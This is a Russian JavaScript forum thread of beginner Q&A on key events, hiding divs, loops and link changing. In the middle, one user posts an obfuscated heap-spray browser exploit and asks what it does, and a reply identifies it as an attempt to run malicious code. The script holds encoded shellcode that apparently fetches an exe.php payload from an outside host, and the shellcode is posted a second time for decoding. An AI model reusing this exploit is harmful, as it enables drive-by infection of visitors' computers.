как повесить событие на нажатие enter в простом инпуте? попробовал такой код: PHP: var flg = (document.all) ? 0 : 1; if(flg){ document.captureEvents(Event.KEYDOWN); } document.onkeydown = pressed; function pressed(e){ if(flg){ if(e.keyCode == 13) add(); } else { if(event.keyCode == 13) add(); } return false; } в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты. Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает. хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
Есть див: <div id="zloe">ля-ля</div> Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля") ...
document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым); document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.
Вот готовая реализация: Скрипт скрывающий/показывающий DIV по ID: Code: function showDiv(xx) { if(document.getElementById(xx).style.display=="none") {document.getElementById(xx).style.display="block";} else document.getElementById(xx).style.display="none"; } Пример использования: Code: <span onclick="showDiv('manual')">Показать/Скрыть DIV</span> Code: <div id="manual" style="display:none;" width="*">ля-ля :) </div>
Вот используй эту библиотеку, то что доктор прописал))): JsHttpRequest Вот краткий список наиболее интересных возможностей и преимуществ библиотеки. Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX). Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными). Загрузка файлов на сервер "методом AJAX". Полная совместимость с популярной JavaScript-библиотекой prototype. Полная поддержка отладочных возможностей и традиционных методов программирования на PHP. Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы). Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>). Доступен интерфейс, совместимый с XMLHttpRequest.
Люди, что делает этот яваскрипт? Code: <script type="text/javascript"> cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068"); i4zsVXx = unescape('%u0800'); SzZHy = 0x08000800; bs = i4zsVXx; while (bs.length <= 0x400000) { bs += bs; } var cs = new Array(); for (var id =0; id <36 ; id++) { cs[id] = i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL; } if (window.navigator.javaEnabled) { window.navigator = (SzZHy / 2); try { java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(java.lang.Runtime, 0)); } catch(e){} } </script>
Пожалуйста, не приводите заведомо плохие примеры. div - блочный элемент. Пытается запустить на исполнение вредоносный код.
И в чём же он плохой? Приведите тогда "хороший" пример , просто мне уже самому интересно стало, как за минимум операций скрыть/показать элемент
Кто может расшифровать, что тут: Code: %u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068
задача Help Me, Please! ЦИКЛЫ 1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N. 2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку. Заранее огромнейшее спасибо!
Пожалуйста. Code: <script type="text/javascript"> var first = function(n) { if(n < 1 || isNaN(n)) return; var i = 0; while((i + 1) * 3 < n) i++; return i; }, second = function(a) { if(!(a instanceof Array)) return; var l = a.length, i = 0; while(l--) i += a[l]; return parseInt(i / a.length); }; alert(first(15)); alert(second([5,1,2,4,1,2,4,1,3,4,5,2,4,5])); </script>
Люди как сделать так, чтобы ссылка менялась без перезагрузки? Можно при помощи div-ов, типа display:none и display:block но хотелось бы как то по иному. Кто может помочь? +
Code: <a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">